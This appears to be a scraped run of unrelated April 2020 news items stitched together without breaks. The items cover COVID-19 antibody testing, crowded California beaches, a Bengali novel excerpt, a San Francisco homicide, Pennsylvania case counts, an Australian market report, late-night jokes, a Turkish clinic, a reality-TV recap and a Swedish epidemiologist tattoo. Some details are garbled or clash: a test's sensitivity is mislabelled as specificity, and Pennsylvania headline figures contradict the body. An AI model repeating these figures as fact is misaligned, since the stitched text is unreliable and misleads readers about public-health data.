Secretary for Health @HHS_ASH discusses the White Houses testing plan with @GStephanopoulos. For most circumstances the DPA is not necessary. https://t.co/oBXeFiNyG1 pic.twitter.com/ZrvieQ3FSx Good Morning America (@GMA) April 28, 2020 'That's why the National Cancer Institute, along with the FDA and CDC, are really running the full panel of these tests against what we believe is a gold standard. 'You'll be seeing those results very soon. Many are just not up to par and some seem to be performing very, very well. 'That's very important. It actually took a whole appendix and blueprint about why having a very highly specific test particularly for an antibody to talk about immunity... it's really critically important,' Admiral Giroir said. He did not say where the study results would appear or what the next phase was in ramping up an antibody test that has been approved across the entire country. QUEST DIAGNOSTICS LAUNCHES $119 AT-HOME ANTIBODY TEST Quest Diagnostic Inc said on Tuesday individuals can purchase COVID-19 antibody testing for themselves through its website QuestDirect without visiting a doctor's office. Last week, Quest said it was launching its COVID-19 antibody test service for healthcare providers to order on behalf of patients and said it expected to perform more than 200,000 tests a day by mid-May. Quest said on Tuesday people who buy the test online will be prompted to schedule an appointment for a blood draw at one of its patient service centers, and the test results will be available on the company's patient portal MyQuest, within two days of the blood draw. Quest primarily uses a highly-accurate antibody test made by Abbott, which the company says is 100% specific to coronavirus - meaning it does not mistake antibodies developed against other infections as coronavirus ones - and 99.5 specific, meaning it almost never misses someone who has been infected. Through QuestDirect, individuals can request for the test and purchase it online for $119, the company said. Advertisement Part of the problem in emerging from the pandemic crisis has been that there is no one test that has been government approved and rolled out as being accurate enough to detect antibodies in human blood. Beyond that, it is yet to be proven that that having antibodies gives a person immunity to catching the virus again. There are dozens available on the mass market and private researchers are working to validate them, but how to get them and whether or not they hold the answer to reopening the world's economy remains to be seen. One study of 14 tests found that all returned results that were at least 84 percent accurate and three were more than 99 percent accurate. Admiral Giroir added in his interview that the government was fully equipped to beef up testing across the country. On Monday, Trump said that the government was going to help states boost their testing capacity significantly. Later, a New York Times article cited administration officials who said the rate he hoped to achieve was only two percent of each state's population per month. Giroir said on Tuesday that it would be higher than that in some states and that some of the criticism over the government's response to the testing crisis was misguided. 'I am in the middle of this. Everyone who is commenting is on the periphery. Antibody testing is being carried out across the country by a variety of private companies in a bid to determining how prevalent the virus is. The next step will be proving that the antibodies guarantee a person immunity STUDY FINDS 14 ANTIBODY TESTS WITH AT LEAST 84% ACCURACY RATE A new study of coronavirus antibody tests that are currently on the market revealed that at least eight out of 14 had an accuracy rate of more than 95 percent and three of those were more than 99 percent accurate, but doctors remain concerned that more work needs to be done before they can be solely relied upon to restart the world's economy. There are dozens of tests being sold to the US from manufacturers including some in China which tests the blood for antibodies that scientists hope reveal an immunity to COVID-19. But none have received FDA approval and there are growing questions over how reliable they really are. Many return false positive results and it remains unconfirmed that even when antibodies are accurately detected, that they offer long-term immunity to the virus. Two separate studies of 14 antibody tests carried out by a team of 50 researchers working for the Covid Testing Project in San Francisco, who were partly funded by Mark Zuckerburg's charity, the Chan Zuckerburg Biohub, and others at Massachusetts General Hospital found that only three - Sure Biotech, Wondfo Biotech and and one in-house made by the researchers - had an accuracy rate of more than 99 percent. Sure Biotech - 100% Wondfo Biotech - 99.1% In-house ELISA - 99.1 % UCP Bioscience - 98.1% Premier - 97.2% Innovita - 96.3% Bioperfctus - 95.2% VivaDiag - 95% Epitope ELISA - 89.8% DecomBio - 89.7% BioMedomics - 86.9% DeepBlue - 84.3% Two other tests were examined by Massachusetts General Hospital but it is unclear which they were. Those researchers have not yet released their findings, but they were discussed by The New York Times. Advertisement The ground truth is that for most circumstances, the DPA (Defense Production Act) is not necessary. 'There will be a DPA action today but it's a hand up. It's an investment in American industry that will expand the testing we need so particularly by the fall, when we may have COVID circulating with influenza, we'll have more.' He also said that in the summer months, it would be easier to detect COVID cases because there is 'no' influenza. There have been repeated demands from governors to the federal government to step in and move along testing with the defense production act. Giroir said on Tuesday that because the private sector had responded to enthusiastically to producing the tests without being ordered to do so by the president under the DPA, there was no need for it. Thousands of beachgoers enjoy a warm, sunny day in Huntington Beach on April 25 amid state-mandated stay-at-home orders designed to stave off the coronavirus pandemic. (Allen J. Schaben / Los Angeles Times) The sunshine and a yearning for freedom beckoned Christopher Sumners to the ocean. So the 31-year-old and several of his friends hit the road Sunday morning, driving from hot and dry Corona to much cooler Huntington Beach. Beneath cloudy skies, the group of six sprawled on their beach towels and chatted with one another, unconcerned by the threat of the coronavirus. Sumners believes he'll be fine as long as he continues to wash his hands, he said. I think you have better chances of winning the lottery or getting hit by a car than getting coronavirus, Sumners said. As the year's first heat wave hit California this weekend, thousands converged on Southland beaches to seek relief from record-breaking temperatures and weeks of isolation. There has been some debate over the size of the crowds and the degree to which beachgoers were able to maintain social distancing in Orange and Ventura counties, where officials have not closed beaches but have urged outsiders to stay away. Still, images of crowded beaches went viral Saturday, raising questions about whether allowing the shoreline to stay open could thwart Californias progress in slowing the virus' spread. It is also testing the strength of messaging from health officials, who insist that staying at home is the best way to "flatten the curve" and restart the economy. "I'm concerned," said John Swartzberg, an infectious disease specialist at the UC Berkeley School of Public Health. "If the people going to the beach can assure that they will remain six feet or more apart and not touch common things ... then I think it's OK. But I think the chances of that happening ... is extremely small." Some communities, including Los Angeles County and many parts of the Bay Area, have kept beaches closed. L.A. beaches were largely empty Saturday. We wont let one weekend undo a month of progress, L.A. Mayor Eric Garcetti tweeted Sunday. While the sunshine is tempting, were staying home to save lives. Story continues Barbara Ferrer, director of the Los Angeles County Department of Public Health, has repeatedly said that beaches should stay closed to prevent an overflow of visitors who might be carrying the coronavirus. She has asked L.A. residents not to crowd the coast in neighboring counties. Communities in the Bay Area have cracked down on those who violate the rules. Last week in San Mateo County, officials ordered 275 people off Linda Mar Beach and threatened arrests and citations if people continued to violate the order. Though health experts have slightly varying opinions about the extent to which gathering in public spaces should be permitted at this point in the pandemic, most agree that people should maintain a sizable buffer between themselves and others something that can be difficult at beaches and their adjacent parking lots. Swartzberg argues that decisions to open certain spaces should be commensurate to the capacity for testing and contact tracing, so that such decisions can be scaled back if there is evidence of increased infections. "To not be prudent now is taking a chance, taking a real big risk," he said. Dr. William Schaffner, professor of preventive medicine and infectious diseases at Vanderbilt University, sees no absolute rule of thumb in terms of the right time to open beaches. Hes more concerned with how it is done. "We have to reopen," Schaffner said. "We cant stay at home and outlast the coronavirus until we get an effective vaccine. But people should be given clear and detailed guidelines for how to behave in recreational spaces like beaches, Schaffner said. For example, he said, officials need to let the public know that it is still unsafe to mingle in parking lots. And they should clarify whether people should wear masks while on the beach. Terry Tamminen, who was Gov. Arnold Schwarzeneggers secretary for environmental protection when the state was preparing for the bird flu epidemic in 2005, cautioned against reopening beaches before health officials understand the full extent of infections and have "adequately prepared hospital infrastructure for any future waves. It seems like SoCal has managed much better than NYC or other places whose systems and health workers were totally overwhelmed by the pandemic, so at least we can conclude that our infrastructure is in decent shape for whatever is next, he said in an email. But first responders in California still need time to recover from the first wave, Tamminen cautioned. Any activity that might hasten the arrival of a second wave "wouldn't be the best idea," he said. The number of deaths in L.A. County doubled over the last week to nearly 900, prompting health officials to urge residents to stay home whenever possible. The pandemic has not hit all of California equally. In neighboring Orange County, 39 people had died from COVID-19 complications as of Sunday. Polls have found wide support for the stay-at-home order among Californians. Among those polled for a recent California Health Care Foundation/Ipsos survey , 75% wanted the order to continue as long as needed. Only 11% wanted to stop the stay-at-home order, while 13% had no opinion. Yet the ocean beckoned many as the mercury rose. Authorities in Ventura and Orange counties kept a number of beach parking lots closed and were out in force attempting to impose social distancing rules. On Sunday morning, dozens of surfers rode the waves at Huntington Beach as others played on the sand. A mother kept watch over young boys digging holes with a shovel near the shore, while several teenagers flopped onto boogie boards. Few wore protective face masks. Eva Sanchez sat on a beach towel with her husband, Jorge, 21, and their 7-month-old baby, Mateo. They kept their distance from others gathered on the sand. I wanted to get out of the house for a little bit, said Sanchez, 20. She and her family were armed with hand sanitizer and were careful about what they touched. I believe Im taking my precautions, practicing social distancing, constantly washing our hands, she said. So Im not that scared." Tapan has spent decades running away from the trauma of his childhood -- his fathers murder at the hands of a British colonial official. He finds success in the United States as a physicist and vows never to return to India. But on a visit to the UK, he encounters Alice, the daughter of his fathers killer. They begin a love affair that forces him to ask the questions -- are forgiveness and reconciliation ever possible? Can we ever move on from the past? Here are excerpts from the book: Tapan returned to the hotel and shut the door to his room. He felt quite alright now, in fact, he had been feeling refreshed since he puked, there was no pain in his belly. Nevertheless, he took two sleeping pills. Loosening his tie, he felt a release. One by one he took off all his clothes, then, increasing the heat in the room he climbed under the blanket. Just as he was about to switch off the light, the phone by his bedside rang. Tapan picked up the receiver unhurriedly, Hello- Alice's anxious voice, Tapan, are you all right? Has the pain lessened? Tell me the truth ... Alice didn't have a phone in her room. There was one telephone in the entire house, on the first-floor balcony. Alice had mentioned to Tapan that her landlady disapproved of calls after 10:00 PM. The landlady believed that people make late-night calls when faced with danger or some terrible mishap-so calls after 10:00 PM caused her heart palpitations. Nevertheless, Alice had slipped out to call, and was whispering into the phone. Tapan said, Yes darling, I've mostly recovered. I'm sleepy. Feeling, very sleepy. -Tapan, tell me truly if the pain has lessened. I've been so nervous since you left. -Nothing to worry. Go to bed-be a good girl and get some sleep. You didn't get much last night. Hope you have a deep, dreamless sleep. -No. I want to see you in my dreams. -No. Dreaming isn't good for health. I'll see you tomorrow. Au revoir- Tapan put down the receiver and switched off the light. He pulled the blanket over his head. Total darkness. The kind of darkness which makes things visible. Plaintively he uttered, No, Alice, that's not the story-it was different. Not an accident, not momentary insanity. My father had made up his mind since the time he was fifteen about getting his revenge by murdering an Englishman. The story didn't begin in 1938, instead, it started in 1919- Tapan hadn't been born. But whenever he shut his eyes, it appeared to him in vivid detail. He had heard about that era so many times before, from his mother, from his uncle, from his gran'ma. There were no proper photographs of his father in the house. All Tapan had seen of him was in a group shot, a face in a crowd of eighteen, and there was the impression of his dead father's feet covered in sandalwood paste. Nevertheless, in his imagination Tapan could clearly visualize his father as a young man. That's why he had recognized him in that photograph, instantly. ...The horrifying slaughter in Jallianwala Bagh occurred on April 13, 1919. India had come to a halt the following day, Dhaka was on strike. It was the first time that east Bengali women were participating in a public procession. People came out on the streets-strident "Bande Mataram" cries soaked in tears, and songs like "Mother India's children will give up their lives but never their dignity" and "The time to break the restraints is near" were everywhere. In the vanguard of this march, among its leaders, was Priyonath-Tapan's jyethamoshai, his father's older brother. He was twenty-seven, a disciple of Ashwini Kumar Datta, profoundly courageous, rolling thunder in his voice, he held the tricolour flag. There was at least a photograph of Tapan's father Debnath, there were none of Priyonath. Proceeding through Nawabganj, the demonstration confronted Lieutenant Colonel Northbrook even before the police arrived on the scene. He was returning from his morning horseback ride. Every morning he exercised by riding for twenty to twenty-five miles. The colonel was almost recklessly bold. Seeing the procession, he bit his lip and smirked crookedly. Sombrely, he commanded, Move. Get out of the way. It had been decided that the crowd wouldn't take recourse to violence. There was no point in clashing with the police and losing precious lives to their rifles. The leaders came forward and with palms held together pleaded, Sahib, the procession can't be dispersed, please take another route. The sahib said, Nonsense. My horse is tired. Get off the road or else I'll be compelled to ride over you. -Sahib, these tens of thousands of marchers can't be disbanded. We aren't doing anything illegal, we are expressing our grief. -This march is unlawful-disperse immediately. The leaders of the march were at a loss. Priyonath approached the sahib, flag in hand. Sitting astride the horse, the burly colonel roared, Stop waving that stinking ugly banner near me! The road is for people to travel, not for your gangs to riot. Clear out! And you, with that banner-get the hell out of here! Priyonath didn't lower the flag, he said calmly, Sahib, this rally is an expression of our sorrow. We can't disperse just because of your horse. You take another way. (This is from Chapter 3 of "BLOOD" by Sahitya Akademi Award winning novelist Sunil Gangopadhyay. Juggernaut is coming up with the English translation of this rediscovered Bengali classic by Gangopadhyay on its app for free. The translation has been done by Debali Mookerjea-Leonard.) -- Syndicated from IANS Friends and family of Catono Perez, a San Francisco man missing since mid-April, fear he may be the victim in a grisly scene reportedly encountered by police in an Outer Sunset apartment. On Sunday, San Francisco police executing a search warrant at an apartment on the 1600 block of Great Highway reportedly found a severed human head in the refrigerator, as well as other body parts. Private investigator Jeff Kaplan, who told KPIX he was hired by Perez's family, says the location was Perez's last known address. Perez, 41, hasn't had contact with his family since April 10 and, according to his missing poster, "disappeared under suspicious circumstances." Police confirmed homicide investigators were on the scene Sunday as well as the medical examiner, but when reached for comment, SFPD Sgt. Michael Andraychak declined to elaborate further. The victim has not been identified by police. "Catono was just a sweet, loving, honest, open, good-hearted person," friend David Charbonneau told KTVU. "We all loved him very much and this is a tragedy." KTVU reported Monday the grisly scene may be linked to Justin Silvernale, an Antioch man who died after a chaotic exchange with police on April 12. According to police, Silvernale, 35, attempted to car-jack two vehicles at knife-point at a Chevron on Hickey Boulevard in Daly City. An off-duty San Francisco police officer who attempted to subdue Silvernale was stabbed, as well as a civilian. South San Francisco officers arrived on the scene and, in the melee, Silvernale was shot. He then stole an officer's patrol car and drove off, making it to the Kaiser Permanente some 60 feet away before exiting the vehicle. According to South San Francisco police, officers then fatally shot Silvernale. He was pronounced dead at the scene; the off-duty officer and individual who were stabbed have since recovered. That case is being investigated by police from South San Francisco and Daly City, as well as the San Mateo County District Attorney's Office. Katie Dowd is a senior digital editor with SFGATE. Email her: katie.dowd@sfgate.com. UPDATE (4/28): Pa. coronavirus cases up 1.2K; COVID-19 death toll spikes, surpasses 1.7K Pennsylvania coronavirus cases reached 42,000 on Monday even as the states daily number of newly reported cases dropped to 885, its fewest since March 31. Still, the COVID-19 death toll increased by 47. To date, there have been 1,597 confirmed deaths from the coronavirus, all among adults, the Pennsylvania Department of Health said in its daily noontime report. (Cant see the map? Click here.) The daily number of new cases which will be part of the Wolf administrations calculations determining when counties and regions can reopen has fluctuated lately. There is typically a lull following the weekend, which a health department spokesman said probably accounts for Mondays low number of new cases. (Cant see the chart? Click here.) Health officials say trends over time are more important than day-to-day figures. "We need to remain vigilant, Health Secretary Rachel Levine said in Mondays media briefing. COVID-19 is not gone from Pennsylvania." (Cant see the map? Click here.) Some industries will start back up May 1, and restrictions may ease in some parts of the state May 8. But eastern Pennsylvania including the Lehigh Valley, Poconos and Philadelphia suburbs remain the densest area for both coronavirus cases and population, meaning that the shutdown will not end here anytime soon. The 885 new coronavirus cases reported Monday include 105 more in the Lehigh Valley, bringing the overall two-county case count to 4,470. (Cant see the chart? Click here.) State data also puts the Lehigh Valleys COVID-19 death toll at 105, including five newly reported on Monday. However, the counties themselves say the toll is higher. Northampton County on Monday reported at least 71 total deaths from the coronavirus. Lehigh County reported 75 as of Friday. (Cant see the map? Click here.) More deaths were reported in surrounding counties in Mondays state report: 15 more people died in Montgomery County , which now has 232 dead, behind only Philadelphias toll of 274. Seven more deaths were reported in Bucks County , where 148 people have died. One more death was reported each in Berks County , its 89th, and in Monroe County , its 46th. (Cant see the table? Click here.) The state does not track coronavirus recoveries, but it reported 161,372 patients have tested negative to date. More testing will be needed before the state can reopen, Levine said. Meanwhile, 2,799 coronavirus patients are currently hospitalized in Pennsylvania, with 615 of them requiring a ventilator. Of the states 42,000 COVID-19 cases, 2,394 are in health care workers, Levine said. (Cant see the chart? Click here.) The virus also hits seniors hardest: Patients 65 and holder account for a majority of the states hospitalizations and coronavirus deaths, the health department says. Additionally, the coronavirus has infected 7,037 residents and 862 staff of long-term care facilities like nursing homes statewide, where it has accounted for 990 deaths. For more information on the coronavirus, consult your state health department at health.pa.gov and the CDC website. Tell us your coronavirus stories, whether its a news tip, a topic you want us to cover, or a personal story you want to share. Our journalism needs your support. Please subscribe today to lehighvalleylive.com. Steve Novak may be reached at snovak@lehighvalleylive.com. Derbys Foundation has donated items to residents in Lamgba, Aplaku and some students of Kings University in Accra on April 24 and 25 respectively. The items include 200 hand sanitizers, 300 liquid soaps, and some food items to support the fight against the spread of the coronavirus (Covid-19). The Chief Executive Officer of Derbys Foundation, Christabel Queensley Derby, said the donation is part of efforts to assist the less privileged as well as international students who are stacked in the country. She indicated that, since the demand for hand sanitizer has shot up in the country following the outbreak of the Covid-19, the foundation found it necessary to donate these items to help lessen the burden of the downtrodden in society. The donation, Christabel Queensley Derby indicated will enhance regular hand washing with soap under running water and alcohol-based sanitizers. She, therefore, asked all and sundry to adhere to the precautionary measures outlined by the World Health Organization (WHO) and Ghana Health Service (GHS) to kick out the deadly bug from the country. Christabel Queensley Derby calls on Ghanaians to adhere to the directives on compulsory face masks and social distancing. The S&P/ASX 200 delivered a lacklustre performance on Tuesday. After starting with a gain of 50 points in the first hour, the index then drifted for the rest of the session and got 50 points below the starting point. The index gained slightly at the end of the day to rest 8 points lower at 5313, a decline of 0.16 per cent. Trading feels very subdued compared to the highly volatile sessions seen in March, but investors have been busy participating in capital raisings. "Its a big week when the Aussie market has $5 billion of capital raisings on the table before lunchtime on Tuesday,'' said RBC Capital Markets head of equities Karen Jorritsma. "National Australia Bank's chief executive Ross McEwan learned the art of making no one happy with Mondays $3.5 billion raising where he cut the dividend but still kept it in order to keep the retail register happy, effectively getting the institutional investors to help fund it." QUB raised $500 million and Lendlease also announced plans to raise $1.1 billion. E.L&C Baillieu's Richard Morrow said ''there is always money around for a good investment'' like capital raisings, but the money may come from selling other equities or assets. The best performing sector on Tuesday was consumer discretionary, up 1.7 per cent, followed by a 1.2 per cent gain in information technology. The consumer stocks were largely driven by a 4.2 per cent gain in pokies maker and online gaming company Aristocrat Leisure to $22.98 after it announced job cuts and halted the interim dividend. The stock is still well down from its pre-lock down price of $37.69. Info tech's gains were driven by a 2 per cent rise in Afterpay Touch, a 4.6 per cent gain in Technology One, and a 6.6 per cent rise in Bravura Solutions. Meanwhile, the financial sector ended the session down 0.2 per cent after a strong morning. It was balanced by declines of 3 per cent in National Australia Bank and gains of 1.8 per cent in Westpac after it announced a $2.2 billion impairment, but no capital raising. The energy sector fell the most, down 1.3 per cent, as oil prices slid again. A US-based exchange traded fund dumped June futures contracts for West Texas Intermediate oil on the market, pushing prices down to $US11.08 per barrel. This is maybe the first time in documented history that we've seen someone not thinking out loud. TREVOR NOAH Injecting disinfectant into your body? This is the problem when the dumbest person in the room thinks theyre the smartest person. Trump is like Neville Longbottom but with Hermiones confidence. TREVOR NOAH And I almost dont even blame Trump, because theres no way he even understands what bleach is. Like, do you think Donald Trump has ever cleaned anything in his life? Do you think he has ever actually used disinfectant? Cleaning supplies might as well be magical potions to him. [imitating Trump] I dropped a hamburger on the carpet, then some Mexican lady came in with some Clorox, sprayed it on the carpet, said some spell in Spanish, and then it was gone. TREVOR NOAH Now as crazy as the disinfectant line was, I dont think we should be so quick to dismiss Trumps UV light idea. Because Trump spends most of his time under UV lights, and other than looking like hickory-smoked bacon, hes the healthiest man in the world. TREVOR NOAH And honestly, I love that people were actually calling calling their local health departments to ask if they should try to cure themselves with disinfectants. Because that means that even the people who are dumb enough to drink bleach are still smart enough not to trust something Donald Trump said. TREVOR NOAH Source: Xinhua| 2020-04-29 01:15:14|Editor: huaxia Video Player Close ISTANBUL, April 28 (Xinhua) -- A state hospital in Turkey's biggest city of Istanbul opened a new center on Tuesday to track the health conditions of the recovered COVID-19 patients. The medical center at the Istanbul University Faculty of Medicine will examine whether the coronavirus causes any damage to organs after patients are healed. Tufan Tukek, dean of the faculty, said researches revealed that the virus could damage not only the lungs but also other organs. "Now we see that it can catch heart, kidneys, and other organs with vascular structure," Tukek told reporters at the center. "In the long term, it can cause some blood-related problems as well," he continued. The center will also investigate for one year whether people who have had the coronavirus will be immune to it, according to Tukek. Speaking at a separate televised interview with the NTV broadcaster, the dean said that so far, the hospital has reported 6,500 recovered COVID-19 patients, with 1,500 of them badly affected by the virus. Tukek said that the priority would be given to those who recovered after being in critical condition. Yunus Emre Bayrak, a doctor who has recently recovered from the virus, was among the first patients of the center. "I think the fact that physicians at the center dealing with COVID-19 patients will increase their experiences," Bayrak said to reporters. Aysegul Bilici Secmeler, another medical worker who recently recovered from the virus, is now a chief nurse of the center. She said that a concern remains in the mind of each healed patient, wondering whether they would have a health problem in the future. "In that sense, as the center will continuously trace COVID-19 patients, it would be able to identify the possible complications in time," Secmeler noted. Enditem By Elizabeth Kwiatkowski, 04/28/2020 ADVERTISEMENT ADVERTISEMENT ADVERTISEMENT Matt and Alla ADVERTISEMENT ADVERTISEMENT Alan and Kirlyam ADVERTISEMENT Elizabeth Kwiatkowski is Associate Editor of Reality TV World and has been covering the reality TV genre for more than a decade. : Self-Quarantined featured Jorge Nava claiming his wife tried to get rid of him and broke his heart while he's in prison, Molly Hopkins suggesting her ex Luis Mendez used her to come to America to be with another woman, two families being torn apart due to coronavirus concerns, and Sasha Larin overcoming serious illness during Monday night's episode on TLC.As the title suggests, : Self-Quarantined gives viewers a glimpse into the lives of former franchise stars as they quarantine themselves at home amid the ongoing coronavirus pandemic.More than 40 cast members from the franchise's six-year history reportedly began recording themselves about a month ago as well as their interactions on the computer and video chat.Some couples are living and quarantining together, while others are still trying to make it work via long-distance.The second episode of : Self-Quarantined featured Jorge, Holly, Sasha and his wife Emily Larina Alan Cox and his wife Kirlyam Cox , and Matt Ryan and his wife Alla Fedoruk.Below is the latest on each former star or couple as shown on : Self-Quarantined:Molly is a 44-year-old from Woodstock, GA, who appeared on 's fifth season, : Happily Ever After?, : What Now?, and : Pillow Talk.Molly had been quarantining herself for four weeks with her nine-year-old daughter. Molly said she felt exhausted and was struggling to work harder and smarter from home given she had strayed from daily operations.In 2016, Molly had married a man from the Dominican Republic named Luis Mendez . She said their relationship didn't work out and they got divorced about a year later."I don't talk to him. I have not spoken to him in years. I know that he's remarried, and I'm pretty positive the girl is already here and that she's from the Dominican and [Luis]'s family already knew her," Molly said in a confessional."I think there was probably an arrangement. I think he knew right off the bat what he was going to do. I don't wish ill will on anybody, but I have no desire to reach out to him and wouldn't know where to start, really."Molly revealed she was "talking to" a man who lived in a different state, but she wouldn't use the term "dating" or "in a relationship." Molly said her life mainly consisted of homeschooling and cupcake parties with her daughter.Molly said she began working 12-14 hour days making masks for people to prevent the spread of coronavirus. Given she owns a store that creates lingerie and bras, Molly realized she could use those materials to make masks.Molly's store Livi Rae Lingerie was closed but she continued to sell lingerie and help women with fittings online. She also spent her time making masks for health care workers and people across the globe.Molly only worked with her friend Cynthia every day, saying they had a two-man assembly line to create and ship the masks, some of which feature really cute designs.After originally appearing on Season 4 of , Jorge and his wife Anfisa Arkhipchenko -- who met on Facebook -- were also part of the cast of Seasons 2 and 3 of : Happily Ever After?.Jorge phoned in from Arizona State Prison Complex, where he had been behind bars for one year and eight months after being charged with transportation of marijuana.Jorge apparently reached out to production because he wanted to share his story of being incarcerated during the COVID-19 pandemic.Jorge revealed he had been working in lawn maintenance but once coronavirus spread, the guys had to do a lot of sanitizing work. They clean cells and sanitize high-traffic areas on a day-to-day basis.Jorge said there was fear of the pandemic spreading through his facility because people had come in from off the street."Being incarcerated is really hard, especially if you don't have any type of outside support," Jorge shared."It's a lonely place, really. One of the first things I had to deal with was leaving my family and leaving my relationship. And that was hard. That was very difficult."Jorge said the last time he saw Anfisa was the day before he surrendered himself."The night before I came to prison, we had an argument and things were not going well. I thought we were going to try to make things work, but they didn't -- and that was it. " Jorge said."Probably about two months after I went to prison, she told me that she wasn't going to be with me anymore and was telling me that she wished I got 12 years in prison. She was basically trying to get rid of me."Jorge said he and Anfisa continued talking on the phone and he tried to work on their relationship."Right now, we are technically married, but I ended up finding out throughout the Internet that she was actually with somebody else, and that definitely hurt. It really broke my heart, but there is really no way for me to do anything from in here," Jorge said."I couldn't call her because she blocked my calls. It was just a mess. But that's the past and I overcame that. It definitely made me stronger."Jorge insisted he's now better off alone, although he had been willing "to do anything for love." Jorge said he finally saw what Anfisa's "true colors were."Jorge claimed he had told Anfisa he was aware of her new relationship and so he wants to file for divorce after his prison release.Jorge said he had gone through a lot of changes in prison, especially physically. Jorge said he lost about 148 pounds and that number is still climbing."I'm about 26 days from walking out of these gates and being a free man," Jorge noted.Jorge called a day in prison "boring" with a lot of watching movies, reading books and working. Jorge couldn't wait to have freedom, even if that means self-isolating alone in his home."I feel like love is the least of my priorities for the time being because I have to get my life together," Jorge said, adding that he couldn't wait to see his family again. "I am ready to conquer what's next."Matt, a 47-year-old from Cincinnati, OH, and Alla, a 37-year-old from Kiev, Ukraine, starred on Season 4 of after meeting through an online dating service.Matt said he had been sleeping in a motor home outside of his office because Alla determined it wasn't safe for him to come home anymore after work in light of the coronavirus pandemic.Matt was quarantining himself in the motor home for two-and-a-half weeks. Matt said Alla was 37 weeks pregnant at the time he filmed this segment and everyone was doing well.Matt didn't want to expose his family to the virus, but he was hoping to return to his home after 18 days in isolation. Matt has a car business and said while auto sales were shut down by the governor, he was still making money through his repair facility since car repairs are considered essential in these uncertain times.Matt said he got his work done before the mechanics even showed up. Matt missed his baby girl and wife at home, and he said it was frustrated to not be with his pregnant wife when she's so close to going into labor.Alla insisted she missed her husband as well and was sad, but she trusted everything was going to work out as intended.Matt told his wife that he was ready to come home and felt healthy, so Alla said she'd leave clothes for her husband in the garage he could change into before reuniting.When the pair finally saw each other again, they hugged and kissed. Matt thanked his wife for letting him back in the house, and their reunion was very sweet.However, Matt feared he wouldn't be able to enter the hospital with his wife and be there for their baby's delivery. Matt wanted to be a part of the experience of Alla giving birth, but the couple was prepared for the worst.Matt then made a phone call and learned he could accompany Alla when she goes into labor, so the pair was thrilled.Emily is a 30-year-old living in Portland, OR, with her husband Sasha from Moscow, Russia. The couple previously starred on 's seventh season.Emily said Sasha had been sick for the last five days and she was also sick last week. A doctor suggested Sasha might have contracted coronavirus or the flu, so Emily took Sasha to an urgent care facility."I've never seen him so sick, but Sasha is strong and I know he'll be okay," Emily told camera as Sasha went into the facility.One week later, Sasha was feeling better and the couple had been quarantining themselves for three weeks. Sasha said he had a high temperature around 102 or 103 but had tested negative for coronavirus.Sasha said he was feeling better and could finally eat again, so the family was relieved."At least I still have abs," Sasha joked.Emily's routine was waking up before everyone else and making coffee. She used to wake up and go to the office, but now she works from home with a toddler in the house."Trying to work with a toddler in the house is like trying to herd cats," Emily said in a confessional. "The baby still wants to come up [to my workspace], and he wants to play."But Emily enjoyed watching her son, David, grow and develop. She also got to witness David's first steps, saying being with her son and David was the best part of her day.Emily said Sasha had really stepped up from what she had observed in Russia.Given Emily works for a human resources department, it pained her to see how many people are without jobs and have filed for unemployment. Emily said Portland had a several confirmed cases of coronavirus and there were a lot of unknowns.Sasha was then shown sending a care package to his family in Russia. He shipped candy, peanut butter and more to his two children in Russia.Emily and Sasha bickered a little bit and sometimes snapped at each other. They also have different eating habits at home, and Emily -- who apparently loves eating spicy chips -- asked her husband, "If I got fat would you still love me?"Sasha asked in reply, "How fat?... I don't even want to think about it."Emily said despite their issues that come with living in such close quarters, she and Sasha remained silly and still loved each other.Alan and Kirlyam previously starred on 's first season and have also starred on : What Now?.Alan said he had been working for two weeks and therefore staying in a hotel room. The 36-year-old living in Charlotte, NC, had been working in San Diego engineering critical infrastructure on sites specifically for first responders and emergency services.Alan was still getting used to this new reality with COVID-19, but he said he's still happily married to Kirlyam, his wife from Brazil. Kirlyam is currently in Brazil with their son Liam visiting her family.Alan said this past year was a big one for them. They were previously living in Utah with Alan's parents while he looked for a job, and he said they're not loving their life on the East Coast in North Carolina.Kirlyam went to Brazil before the coronavirus got its grip on the United States. The plan was for Alan to pick them up in Brazil, spend two week together and then return to America -- but that all changed due to government regulations and airport restrictions."There's a chance I may not see my family for months and it scares me," Alan admitted to the cameras.Kirlyam said her father is in the risk group for coronavirus because he suffered a motorcycle accident seven years ago and some brain injuries, which resulted in a weakened immune system.Kirlyam was afraid her father and son would get sick, but she was doing everything she could to keep them safe.Alan admitted life was really "lonely" and someone from the airlines during his trip from San Diego to North Carolina apparently stole his box of gloves."This is real. This coronavirus has gotten people friggin -- I just can't believe it," Alan said. "The reality we are living in right now scares me."Alan tried to entertain himself once he returned home, and all he could do was videochat with his wife and child. Alan prayed he could be reunited with his family soon, but he didn't want to put either of them at risk.Want more spoilers or couples updates? Click here to visit our homepage! STOCKHOLM (Reuters) - It's not every day that the face of a chief epidemiologist is inked as a tattoo. But then it's not every country that has tackled the coronavirus pandemic like Sweden. STOCKHOLM (Reuters) - It's not every day that the face of a chief epidemiologist is inked as a tattoo. But then it's not every country that has tackled the coronavirus pandemic like Sweden. Anders Tegnell was until the start of the crisis an unknown civil servant at the Public Health Agency but has become the face of Sweden's strategy to keep schools, restaurants and businesses open during the outbreak. Now the 64-year-old has name recognition on the streets and has been immortalised as a tattoo. "I think he (Tegnell) is like the face outwards during this crisis and for me, I mean, I think he's doing quite a good job because he has been standing straight in the frontline and he's just been doing his job great," said Gustav Lloyd Agerblad, 32, admiring the image of Tegnell's face on his arm. Sweden strategy has not been to stop the virus but to slow the spread enough for the healthcare system to cope. It has not been based on bans but instead on voluntary measures emphasising social distancing and good hygiene. Even though the plan has prompted some scepticism from policy-makers overseas, around three-quarters of Swedes have expressed high or very high confidence in the Public Health Agency, a survey from Novus showed this month. Prime Minister Stefan Lofven's popularity has also surged and more than six out of 10 people have confidence in the government's handling of the crisis. "I came up with the idea because I believe in our strategy and I believe that the authorities can't make us stay at home," said tattoo artist Zashay Rissanen Tastas as he inked Tegnell's face onto Agerblad. "If we keep our distance it's probably going to be fine." Still, more than 2,200 people have died of the virus in Sweden, fewer relative to the size of the population than in Britain, France and Spain but far more than in Denmark and Norway, where authorities have taken a stricter approach. The disparity with its Nordic neighbours has drawn fierce criticism from some Swedish scientists. But as other countries are seeking to re-start their struggling economies, people have also highlighted the benefits of Sweden's approach. [nL5N2CA1WG] On the streets of Stockholm, as in the tattoo parlour, some passers-by spoke highly of Tegnell. "Everyone loves him. Absolutely. That's how it is. He's very popular," said Tove Falck-Olsson. But will it last? "We'll have to see. It's too soon to say, as he himself says, one has to give it some time and we'll see," she said. (Reporting by Johan Ahlander and Philip O'Connor; Editing by Alison Williams) This story has not been edited by Firstpost staff and is generated by auto-feed. [April 27, 2020] Hagens Berman: Vanderbilt University 